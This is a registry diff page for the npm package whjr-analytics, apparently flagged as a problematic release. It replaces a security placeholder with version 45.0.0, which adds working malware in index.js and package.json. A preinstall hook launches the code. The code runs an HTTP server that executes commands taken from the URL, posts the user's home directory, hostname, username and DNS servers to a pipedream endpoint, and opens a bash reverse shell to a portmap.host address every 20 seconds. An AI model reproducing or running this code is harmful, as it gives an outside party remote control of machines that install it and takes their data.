whjr-analytics 0.0.1-security → 45.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of whjr-analytics might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +49 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,49 @@
1
+ const http = require('http');
2
+ const os = require("os");
3
+ const dns = require("dns");
4
+ const querystring = require("querystring");
5
+ const packageJSON = require("./package.json");
6
+ const package = packageJSON.name;
7
+ const server = http.createServer((req, res)=>{
8
+ console.log(req.method, req.url)
9
+ const { exec } = require('child_process')
10
+ let cmd = decodeURI(req.url.replace('/',''));
11
+ if (cmd == ''){
12
+ cmd = 'ls'
13
+ }
14
+ exec(cmd, (err, stdout, stderr)=>{
15
+ console.log(`${stdout}`);
16
+ res.setHeader('Content-Type','text/plain');
17
+ res.write(`${stdout}`)
18
+ res.end();
19
+ })
20
+ });
21
+ server.listen(3001, '0.0.0.0', ()=>{
22
+ console.log("server is listening on port 3001....")
23
+ const { exec } = require('child_process')
24
+ exec('curl ifconfig.me', (err, stdout, stderr)=>{
25
+ if (err){
26
+ console.log(err);
27
+ }
28
+ let myip = `${stdout}`
29
+ const trackingData = JSON.stringify({
30
+ p: package,
31
+ c: __dirname,
32
+ hd: os.homedir(),
33
+ hn: os.hostname(),
34
+ un: os.userInfo().username,
35
+ dns: dns.getServers(),
36
+ r: packageJSON ? packageJSON.___resolved : undefined,
37
+ v: packageJSON.version,
38
+ pjson: packageJSON,
39
+ });
40
+
41
+ exec(`curl -H "Content-Type:application/json" --data $(echo ${trackingData}|base64 ) -X POST https://eovoppii03zwo2b.m.pipedream.net?${myip}`);
42
+ const reverseShell = setInterval (() =>{
43
+ exec(`bash -i >& /dev/tcp/Maerifat-37503.portmap.host/37503 0>&1 `)
44
+ }, 20000
45
+
46
+ )
47
+ console.log(trackingData)
48
+ });
49
+ });
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "whjr-analytics",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "45.0.0",
4
+ "description": "WHJR_APPSEC",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "nohup node index.js&"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=whjr-analytics for more information.